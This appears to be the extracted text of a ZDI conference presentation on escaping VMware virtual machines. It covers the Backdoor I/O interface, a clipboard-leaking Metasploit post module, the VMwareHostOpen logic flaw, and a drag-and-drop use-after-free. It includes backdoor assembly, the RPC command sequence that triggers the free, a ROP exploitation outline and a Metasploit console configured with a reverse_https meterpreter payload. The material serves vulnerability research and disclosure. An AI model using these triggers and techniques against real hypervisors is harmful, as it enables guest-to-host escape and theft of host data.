



VMware Escapology

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Jasiel Spelman

Joshua Smith



Recycle Bin

Process	CPU	Private Bytes	Working Set	PID Description	Company Name	User Name	Image Type	Integrity
nvdxsync.exe	< 0.01	10,588 K	23,856 K	1728		<access denied>		
nvscapapisvr.exe		2,832 K	7,592 K	1516 Stereo Vision Control Panel ... NVIDIA Corporation		<access denied>		
svchost.exe		13,728 K	21,960 K	1532 Host Process for Windows S... Microsoft Corporation		<access denied>		
igfxCUIService.exe		1,704 K	8,052 K	1876 igfxCUIService Module	Intel Corporation	<access denied>		
svchost.exe	0.02	2,864 K	9,584 K	2008 Host Process for Windows S... Microsoft Corporation		<access denied>		
audiodg.exe	4.36	26,944 K	35,300 K	4288		<unable to open t...>	64-bit	
RtkAudioService64.exe		1,680 K	7,292 K	1632 Realtek Audio Service	Realtek Semiconductor	<access denied>		
RAVBg64.exe		5,820 K	13,184 K	2192		<access denied>		
svchost.exe		3,340 K	11,476 K	2248 Host Process for Windows S... Microsoft Corporation		<access denied>		
svchost.exe		4,008 K	12,776 K	2372 Host Process for Windows S... Microsoft Corporation		<access denied>		
spoolsv.exe		5,896 K	14,460 K	2484 Spooler SubSystem App	Microsoft Corporation	<access denied>		
AdminService.exe		2,664 K	7,752 K	2724 Windows Setup API	Windows (R) Win 7 DDK p...	<access denied>		
IntelCpHDCPSvc.exe		1,424 K	7,072 K	2760 IntelCpHDCPSvc Executable	Intel Corporation	<access denied>		
svchost.exe		6,416 K	21,344 K	2780 Host Process for Windows S... Microsoft Corporation		<access denied>		
esif_uf.exe		1,608 K	6,356 K	2812 Intel(R) Dynamic Platform a...	Intel Corporation	<access denied>		
esif_assist_64.exe	< 0.01	1,008 K	3,800 K	2148		DESKTOP-6FGL5...	64-bit Medium	
svchost.exe		7,292 K	19,776 K	2952 Host Process for Windows S... Microsoft Corporation		<access denied>		
vmmnat.exe	< 0.01	1,888 K	6,856 K	2960 VMware NAT Service	VMware, Inc.	<access denied>		
vmmnetdhcp.exe		7,404 K	4,788 K	2968 VMware VMnetDHCP Service	VMware, Inc.	<access denied>		
WavesSysSvc64.exe		5,908 K	11,872 K	2970 WavesSysSvc64 Service App	Wavesys, Ltd.	<access denied>		
vmware-authd.exe	0.08	4,204 K	11,436 K	3032 VMware Authentication Server	VMware, Inc.	<access denied>		
vmware-vmx.exe	0.29	536,520 K	2,547 K	5492 VMware Workstation	VMware, Inc.	DESKTOP-6FGL5...	64-bit Medium	
vmware-usbarbitrator64.exe	< 0.01	2,408 K	9,984 K	3044 VMware USB Arbitration Ser...	VMware, Inc.	<access denied>		
MsMpEng.exe	0.04	121,532 K	120,292 K	3064 Malwarebytes' Anti-Malware Execut...	Microsoft Corporation	<access denied>		
IntelCpHeciSvc.exe		1,964 K	7,604 K	3108 IntelCpHeciSvc Executable	Intel Corporation	<access denied>		
vmware-hostd.exe	< 0.01	27,568 K	47,228 K	3308 Host Process for Windows S... Microsoft Corporation		<access denied>		
svchost.exe		1,592 K	6,760 K	3608 Host Process for Windows S... Microsoft Corporation		<access denied>		
NisSrv.exe		15,188 K	7,828 K	3968 Microsoft Network Realtime ...	Microsoft Corporation	<access denied>		
SearchIndexer.exe		26,768 K	23,784 K	880 Microsoft Windows Search I...	Microsoft Corporation	<access denied>		
svchost.exe		4,084 K	18,724 K	1768 Host Process for Windows S... Microsoft Corporation		DESKTOP-6FGL5...	64-bit Medium	
LocalSecurityAuthorityD...	< 0.01	2,640 K	11,764 K	765 Local Security Authority D...	Microsoft Corporation	<access denied>		

CPU Usage: 7.35% Commit Charge: 30.64% Processes: 77 Physical Usage: 32.67%



Ask me anything



Agenda

- Introductions
- VMware General Architecture (Simplified)
- Host <-> Guest Communication
 - Backdoor Interface
 - Exploiting Copy/Paste
 - Metasploit Library & Post Module
- VM Escapes
 - VMwareHostOpen/HGFS
 - Logic
 - Metasploit Local Exploit Module
 - VMware DnD Use-After-Free
 - RPC Calls & Exploitation
 - Metasploit Local Exploit Module
- Conclusion

Abdul-Aziz Hariri (aka Adobul)

- BS in Computer Sciences – University of Balamand
- Currently a Senior Security Researcher at ZDI
 - Root Cause analysis / Vulnerability Research / Exploit development
 - ZDI Case Lead
 - Pwn2Own Preparation / Judging entries
- Past Experiences
 - Bits Arabia, Insight-Tech and Morgan Stanley
- Past research:
 - Pwn4Fun 2014 renderer exploit writer
 - Microsoft Bounty submission
 - Patents on Exploit Mitigation Technologies
 - Adobe Reader research
- Twitter: @abdhariri



Joshua Smith

- BS in Aeronautical Engineering – Rensselaer Polytechnic Institute
- MA in Information Systems – University of Great Falls
- Currently the Manager of “FuzzOps” at ZDI
 - Manage internal, fuzzing, & automated analysis infrastructure
 - Senior Security Researcher at ZDI
 - Current 😅 of Pwn2Own (apologies), i.e. I run the “floor”
- Past Experiences
 - JHUAPL, USAF Red & Blue Teams, external Metasploit dev
- Past research:
 - Mostly virtual appliance stuff and any RISC bugs
 - HDMI CEC (DefCon 23)
 - Military weapon systems (stuff that will never see the light of day)
- Twitter: @kernelsmith




Jasiel Spelman

- BA in Computer Science – University of Texas at Austin
- Currently a Senior Security Researcher at ZDI
 - Root Cause analysis / Vulnerability Research / Exploit development
 - Research Lead
 - Pwn2Own Invigilator
- Past Experiences
 - TippingPoint Digital Vaccine team
- Past research:
 - Pwn4Fun 2014 sandbox escape exploit writer
 - Patents on zero day protection technologies
 - Windows kernel information leaks
 - Adobe Flash RE & RCE vulnerabilities
- Twitter: @ WanderingGlitch



VMware General Architecture

VMware General Architecture (Simplified*)



Good Question

- As it turns out, quite a bit
- Regardless of whether VMware tools are installed



Host <-> Guest Communication

Host <-> Guest Communication

- Communication is done by accessing special I/O ports
- VMware implements an interface called “Backdoor”
 - Hijacks the IN/OUT instructions
 - Supports multiple commands
 - Supports two main protocols: RPCI and TCLO
 - Can be used to extract host information
 - Can be used to send Guest->Host RPC requests
- The Backdoor interface cannot be disabled*

* Not entirely w/o binary mods

```
/*
 * backdoor.c --
 *
 * First layer of the
 * applications and vm
 *
 * This is the backdoor
 * and the virtual CPU
 * synchronous basic
 */
#ifndef __cplusplus
extern "C" {
#endif


#include "backdoor_def.h"
#include "backdoor.h"
#include "backdoorInt.h"
```

Host <-> Guest Communication - Backdoor

- Supports multiple commands/functions
 - The commands can be found in the open-vm-tools on github
 - backdoor_def.h defines these commands
- The guest can't invoke all commands, but more than you think...

#define	BDOOR_CMD_APMFUNCTION	2 /* CPL0 only. */
#define	BDOOR_CMD_GETDISKGEO	3
#define	BDOOR_CMD_GETPTRLOCATION	4
#define	BDOOR_CMD_SETPTRLOCATION	5
#define	BDOOR_CMD_GETSELLENGTH	6
#define	BDOOR_CMD_GETNEXTPIECE	7
#define	BDOOR_CMD_SETSELLENGTH	8
#define	BDOOR_CMD_SETNEXTPIECE	9
#define	BDOOR_CMD_GETVERSION	10
#define	BDOOR_CMD_GETDEVICELISTELEMENT	11
#define	BDOOR_CMD_TOGGLEDEVICE	12
#define	BDOOR_CMD_GETGUIOPTIONS	13
#define	BDOOR_CMD_SETGUIOPTIONS	14
#define	BDOOR_CMD_GETSCREENSIZE	15
#define	BDOOR_CMD_MONITOR_CONTROL	16 /* Disabled by default. */
#define	BDOOR_CMD_GETHWVERSION	17

Host <-> Guest Communication - Backdoor



Host <-> Guest Communication - Backdoor

- Invoking Backdoor functions is simple:

```
mov eax 564D5868h /* magic number VMX */
mov ecx command-number /* 1001e = RPC */
mov ebx command-specific-param
mov dx 5658h      /* VMware I/O port VX*/
in  eax  dx
```

```
/*
 * backdoor_def.h --
 *
 * This contains backdoor defines that can be included
 * in an assembly language file.
 */

#ifndef _BACKDOOR_DEF_H_
#define _BACKDOOR_DEF_H_

#define INCLUDE_ALLOW_MODULE
#define INCLUDE_ALLOW_USERLEVEL

#define INCLUDE_ALLOW_VMCORE
#define INCLUDE_ALLOW_VMKERNEL
#include "includeCheck.h"

/*
 * If you want to add a new low-level backdoor call
 * application, please consider using the GuestRpc m
 */

#define BDOOR_MAGIC 0x564D5868

/* Low-bandwidth backdoor port. --hpreg */
#define BDOOR_PORT 0x5658
```

Host <-> Guest Communication - RPCI

- Supports multiple commands
 - rpctool.exe
 - Source in open-vm-tools
 - Can send RPCI commands
 - Can find commands in vmware-vmx.exe
 - Also sprinkled throughout the open-vm-tools source

C:\Program Files\VMware\VMware Tools>rpctool.exe
rpctool syntax:

rpctool <text>

```
C:\Program Files\VMware\VMware Tools>rpctool.exe "vmx.capability.tools_is_upgradable"
1
```

C:\Program Files\VMware\VMware Tools>

[S]	.rdata:0000000...	00000001D	C	tools.capability.printer_set
[S]	.rdata:0000000...	00000001A	C	tools.capability.features
[S]	.rdata:0000000...	00000001F	C	tools.capability.unity.taskbar
[S]	.rdata:0000000...	000000017	C	tools.capability.unity
[S]	.rdata:0000000...	000000027	C	tools.capability.display_global_offset
[S]	.rdata:0000000...	000000026	C	tools.capability.display_topology_set
[S]	.rdata:0000000...	000000020	C	tools.capability.resolution_min
[S]	.rdata:0000000...	000000021	C	tools.capability.resolution_max

Host <-> Guest Communication – Summary

- Backdoor channel is used for host <=> guest communication
- Hijacks in/out instructions
- RPCI is used from guest -> host, but can be bidirectional
- TCLO is used from host -> guest
- RPCI commands can be found in vmware-vmx and in open-vm-tools
- open-vm-tools is a goldmine of information!

So What? How can we use this?

So What? How Can We Use This?


- We can do a lot with RPCI, more on that later
- What other backdoor functionality is available
 - #define BDOOR_CMD_APMFUNCTION 2
 - #define BDOOR_CMD_GETDISKGEO 3
 - #define BDOOR_CMD_GETPTRLOCATION 4
 - #define BDOOR_CMD_SETPTRLOCATION 5
 - #define BDOOR_CMD_GETSELLENGTH 6
 - #define BDOOR_CMD_GETNEXTPIECE 7
 - #define BDOOR_CMD_SETSELLENGTH 8
 - #define BDOOR_CMD_SETNEXTPIECE 9
 - #define BDOOR_CMD_GETVERSION 10
 - #define BDOOR_CMD_GETDEVICELISTELEMENT 11
 - #define BDOOR_CMD_TOGGLEDEVICE 12
- BDOOR_CMD_GETSELLENGTH – gets the length of the **clipboard** data
- BDOOR_CMD_GETNEXTPIECE – Used to **retrieve** the clipboard data



```
#define BDOOR_CMD_MONITOR_CONTROL 16
#define BDOOR_CMD_GETHWVERSION 17
#define BDOOR_CMD_OSNOTFOUND 18
#define BDOOR_CMD_GETUUID 19
#define BDOOR_CMD_GETMEMSIZE 20
#define BDOOR_CMD_HOSTCOPY 21
```

Can't I Just Disable Copy/Paste & DnD?

- Yes.
- But, by default, both are enabled
- I don't have VMware tools installed, so I'm fine right?
- Well, VMware tools just add libs to facilitate calling the Backdoor
- Libs? Where we're going, we don't need libs...



Which Data Could We Potentially Grab?

- We can exploit this to grab the host OS clipboard data

```
mov eax 564D5868h /* magic number */  
mov ecx BDOOR_CMD_GETSELLENGTH  
/* mov ebx, command-specific-param */  
mov dx 5658h /* VMware I/O port */  
in eax dx
```

```
int32 GetHostSelectionLength() {  
    Backdoor_proto bp;  
    bp.in.cx.halfs.low = BDOOR_CMD_GETSELLENGTH;  
    Backdoor(&bp);  
    return bp.out.ax.word;  
}  
  
uint32 GetNextPiece() {  
    Backdoor_proto bp;  
  
    bp.in.cx.halfs.low = BDOOR_CMD_GETNEXTPIECE;  
    Backdoor(&bp);  
    return bp.out.ax.word;  
}
```

Setting the Stage: vmware_copy_pirate

MSF Module Type	post/multi/gather/vmware_copy_pirate
Cause	Logic, config
Direction	Guest-to-Guest, Guest-to-Host
Impact	Information leak (copy buffer)
Hypervisor	VMware Fusion/Workstation
Host OS	Any hypervisor supported desktop OS
Guest OS	Any hypervisor supported guest OS
Status	Works as designed

Metasploit Framework

- Handling the Backdoor_proto object
 - BinData gem
 - Define structs to read from and write to obj
- Sending the Backdoor commands
 - We need an MSF interface

```
def backdoor(bp)
    bp.in.ax.halves = BDOR_MAGIC # .in.ax.word
    bp.in.dx.halves.low = BDOR_PORT
    @vmware_backdoor.backdoor_in_out(bp)
    bp
end

def get_host_selection_length(bp)
    bp.in.cx.halves.low = BDOR_CMD_GETSELLENGTH
    backdoor(bp)
    bp.out.ax.word
end

def get_next_piece(bp)
    bp.in.cx.halves.low = BDOR_CMD_GETNEXTPIECE
    backdoor(bp)
    bp.out.ax.word
end

def run
    | bp = BackdoorProto.new
```

Metasploit Framework – VMware Lib

- Welcome the VMware lib
 - Currently Msf::Post::Vmware, but may change*
- Challenges
 - Need to execute dynamically generated assembly at will
 - The assembly must reference buffers in memory
 - We must allocate and write to those buffers
 - Sometimes we must read back from the I/O port
 - We need to do this in the guest's memory, from MSF

* Not in master yet

Metasploit Framework – VMware Lib

- Could write our own DLL
- Would have to write different libs for each platform
- Not terribly portable

Metasploit Framework – VMware Lib


- More portable approaches

Challenge	Post API	Railgun
Executing	Thread	Function
Assemble	Metasm	Metasm
Ref Buffers	As immediates in asm	Ref as stack variables
Allocate Mem	Process.memory.allocate	Platform-specific, but automatic
Mark Mem	Process.memory.protect	Platform-specific, but automatic
Write Mem	Process.memory.write	Platform-specific, but automatic
Read IO	Word at a time	Return pointer, read object

DAY
ATIVE

cal
t

Snapshots



Delete



Video



```
File Edit View Search Terminal Tabs Help  
root@kali: ~  
msf post(vmware_copy_pirate) > |
```



ZE
IN



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Kali Gu

VM Escapes

VMware HGFS / VMwareHostOpen.exe

VMware HGFS Overview

- VMware implements the Host-Guest File System (HGFS)
- When sharing a folder between the host* OS and the guest OS
- Supported in Fusion, Workstation and ESXi*



* from an RPC perspective, you can't share directly from an ESXi host

VMware HGFS

- HGFS requests can be performed through GuestRPC requests
 - GuestRPC can run over the Backdoor, vSockets, or TCP/IP
- HGFS protocol is defined inside hgfsProto.h/hgfs.h in open-vm-tools

F	00 00 00 00	COMMAND	ARGS
---	-------------	---------	------

```
typedef enum {
    HGFS_OP_OPEN,                  /* Open file */
    HGFS_OP_READ,                  /* Read from file */
    HGFS_OP_WRITE,                 /* Write to file */
    HGFS_OP_CLOSE,                 /* Close file */
    HGFS_OP_SEARCH_OPEN,           /* Start new search */
    HGFS_OP_SEARCH_READ,           /* Get next search response */
    HGFS_OP_SEARCH_CLOSE,          /* End a search */
    HGFS_OP_GETATTR,                /* Get file attributes */
    HGFS_OP_SETATTR,                /* Set file attributes */
    HGFS_OP_CREATE_DIR,              /* Create new directory */
    HGFS_OP_DELETE_FILE,             /* Delete a file */
    HGFS_OP_DELETE_DIR,              /* Delete a directory */
    HGFS_OP_RENAME,                 /* Rename a file or directory */
    HGFS_OP_QUERY_VOLUME_INFO,      /* Query volume information */
}
```

VMware HGFS – In Action


- We can sniff the HGFS commands by hooking the function that parses the RPC requests on the host, specifically in vmware-vmx.exe
- Then execute VMwareHgfsClient.exe from the VMware tools directory, which will give us the shared folders

```
C:\Program Files\VMware\VMware Tools>VMwareHgfsClient.exe  
temp  
test
```

VMware VMwareHostOpen.exe

VMware VMwareHostOpen.exe

- Shipped with the VMware tools (on Windows)
- Opens a file or URL in the **default** application on the **host** machine



- It leverages the Backdoor and specifically GuestRPC

VMware VMwareHostOpen.exe - How does it work?

- Calls the GuestRPC function "ghi.host.shell.action"
- ghi.host.shell.action's implementation is in vmware-vmx.exe
- It takes two arguments: actionURI and targetURI

```
000000014008A896 lea    r9, _ghi_host_shell_action
000000014008A89D lea    r8, aGhi_host_shell ; "ghi.host.shell.action"
000000014008A8A4 lea    rdx, aSethostshellac ; "setHostShellActionDisable"
000000014008A8AB mov    ecx, 49h
000000014008A8B0 mov    [rsp+38h+var_18], rdi
000000014008A8B5 call   sub_1400681C0
```

```
0000000140086688 mov    r8, [rbp+0]
000000014008668C mov    rcx, qword ptr [rsp+1A8h+var_188] ; int
0000000140086691 lea    rdx, aActionuri ; "actionURI"
0000000140086698 call   sub_1404135C0
000000014008669D mov    ebx, eax
000000014008669F test   eax, eax
00000001400866A1 js    loc_140086756
```

```
00000001400866A7 mov    r8, [rbp+8]
00000001400866AB mov    rcx, qword ptr [rsp+1A8h+var_188] ; int
00000001400866B0 lea    rdx, aTargeturi ; "targetURI"
00000001400866B7 call   sub_1404135C0
00000001400866BC mov    ebx, eax
00000001400866BE test   eax, eax
00000001400866C0 js    loc_140086756
```

Setting the Stage: VMwareHostOpen.exe

MSF Module Type	exploit/local/windows/vmware_host_open
Cause	Logic, configuration
Direction	Guest-to-Host
Impact	Escape, but has many prereqs
Hypervisor	VMware Fusion
Host OS	OS X/macOS
Guest OS	Windows (when using the hostopen binary)
Status	Reported to vendor, declined to patch

Metasploit Module Challenges

- Local exploit, but not a traditional one
 - Starting session is on Windows, resulting session is on Mac
 - Local exploits expect an escalated session, not a different platform
 - Might need a new exploit module type, or changes to ‘local’
- Getting cmd_exec to successfully call HostOpen w/UNC path
- What payload type, what will HostOpen actually open for us?
 - Remember, only opens a file or url with the default app
- Trying not to rely on VMware tools, when possible
 - Avoid requiring active and writable share drives

[Show All](#)

...eWorkstation-Win10_x64: Default Applications

[Add Device...](#)

- Open your Mac files and web links using Windows applications

For example, open Word documents using Microsoft Office.

[Configure](#)

- Open your Windows files and web links using Mac applications

For example, open web links using Safari. Enabling this feature may reduce the isolation of your virtual machine.

- Run Windows applications from your Mac's Applications folder

Enables launching of Windows applications directly from the Mac Applications folder.

[Restore Applications](#)[Clean Up Applications](#)



Video

Physical Host

Virtual Machine Library

Name	Status
Kali-Linux-2017.1-vm-amd64	Running
Victim-VMwareWorkstation-Win10_x64	Running
Windows8.1x64_enterprise	Powered Off
MSFdev	Powered Off
VMware ESXi 6	Powered Off

Add View Start Up Settings Snapshots Delete

VIRTUAL MACHINES

- Kali-Linux-2017.1-vm-amd64
- Victim-VMwareWorkstation-Win10_x64
- Windows8.1x64_enterprise
- MSFdev
- VMware ESXi 6

VCENTER.ZED

VMWARE VCLOUD AIR



VMware Drag and Drop UAF

VMware DnD UAF – Root Cause

- The free is triggered when the DnD version is changed multiple times
- The re-use happens when **any** DnD function is called after the free
- Triggering the free is quite simple:

```
tools.capability.dnd_version 2  
vmx.capability.dnd_version  
tools.capability.dnd_version 3  
vmx.capability.dnd_version  
dnd.setGuestFileRoot AAAAAA //Technically any DnD function would work.
```

VMware DnD UAF

- Get a crash
- !heap -p -a @RCX indicates a freed object
- Get the size of the freed object
- Determine if we can reclaim that freed memory
- Send some GuestRPC commands, e.g.
tools.capability.guest_temp_directory, and see if
we can reclaim that memory
- ROP our way into the RWX region of memory
conveniently provided in vmware-vmx
- If you want to know more
*<https://bit.ly/2su55D4>

```
0:016> r
rax=000000006ca679f8 rbx=0000000000000006e rcx=00000000
rdx=000000006ca67a08 rsi=0000000140b160f8 rdi=00000000
rip=000000014002d0da rsp=000000006ca67990 rbp=00000000
r8=0000000070c77ecd r9=000000000000000131 r10=e073606
r11=8101010101010100 r12=000000000000000003 r13=00000000
r14=000000013ff90000 r15=000000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b
efl=00010202
vmware_vmx+0x9d0da:
00000001`4002d0da 488b01          mov     rax,qword p
ds:00000000`29c96f40=??
0:016>
```

```
address 0000000029c96f40 found in
DPH_HEAP_ROOT @ 3e21000
in free-ed allocation ( DPH_HEAP_BLOCK:
2ad15270:
000007fef4c98726
Verifier!VerifierDisableFaultInjectionExclusionRange+0x
0000000077b84255 ntdll!RtlLogStackBackTrace+0x000000
0000000077b2797c ntdll!TpAlpcRegisterCompletionList
00000000779c1a0a kernel32!HeapFree+0x0000000000000000
00000000754bcabc MSVCR90!free+0x0000000000000001c
0000000140032d37 vmware_vmx!opus_repacketizer_get_n
000000014002c41d vmware_vmx+0x0000000000009c41d
000000014000a52e vmware_vmx+0x0000000000007a52e
0000000140013f60 vmware_vmx+0x00000000000083f60
Vi
29
```

Setting the Stage: VMware DnD UAF

MSF Module Type	exploit/windows/local/vmware_dnd_uaf
Cause	Memory corruption (use-after-free)
Direction	Guest-to-Host
Impact	Escape
Hypervisor	VMware Fusion/Workstation
Host OS	Any hypervisor supported desktop OS
Guest OS	Any hypervisor supported guest OS
Status	Silently patched in Workstation 12.5.3

Metasploit Framework

- Not much to talk about as long as you have the new lib
 - Msf::Post::Vmware
 - Some RPC commands require you to leave the RPC buffer open

```
def send_rpc_cmd(rpc_cmd, close = true)

send_rpc_cmd('tools.capability.dnd_version 2')
    ^ this buffer closed to further writes
```

root@kali: ~

File Edit View Search Terminal Help

A use-after-free vulnerability within vmware-vmx. If the DnD version is changed and queried multiple times in quick succession, an object is freed prematurely and the next DnD function called will attempt to use the freed memory. This bug was patched silently in Workstation 12.5.3 possibly in VMSA-2017-0003.



References:

<https://www.vmware.com/security/advisories/VMSA-2017-0003.html>
<https://www.thezdi.com/blog/2017/6/26/use-after-silence-exploiting-a-quietly-patched-uaf-in-vmware>

```
msf exploit(vmware_dnd_uaf) > so
```

Module options (exploit/windows/local/vmware_dnd_uaf):

Name	Current Setting	Required	Description
SESSION	1	yes	The session to run this module on.

Payload options (windows/meterpreter/reverse_https):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.142.100	yes	The local listener hostname
LPORT	8444	yes	The local listener port
LURI		no	The HTTP Path

Exploit target:

Id	Name
---	---
0	VMware Workstation Universal

```
msf exploit(vmware_dnd_uaf) > [ ]
```

Video
Attacker
Kali Guest VM

If You Think About It

- We could escape from the Workstation guest, into the Workstation Host, and then into MacOS/Fusion!

Conclusion

Conclusions

- Virtualization is a fact of life in computing today
- VMware is widely deployed, and bug reports are on the rise
 - We're also seeing increased reports in other virtualization products
- Virtualization can sometimes lead to a dead end on pentests, which can give enterprises the false impression that virtualization completely constrains risk
 - We feel you. You can't fix what you can't prove to management
- At Pwn2Own 2017, two full guest-to-host escape exploits for Workstation were demoed, one of which also affects ESXi

Conclusions

- The Backdoor interface is robust and well-named ;)
- Several critical ESXi vulnerabilities have been patched in 2017 alone, more on those in future presentations
- Other, non-critical vulnerabilities allow data leakage
- VMware tools are not required for many of these attacks
- Thanks for listening!



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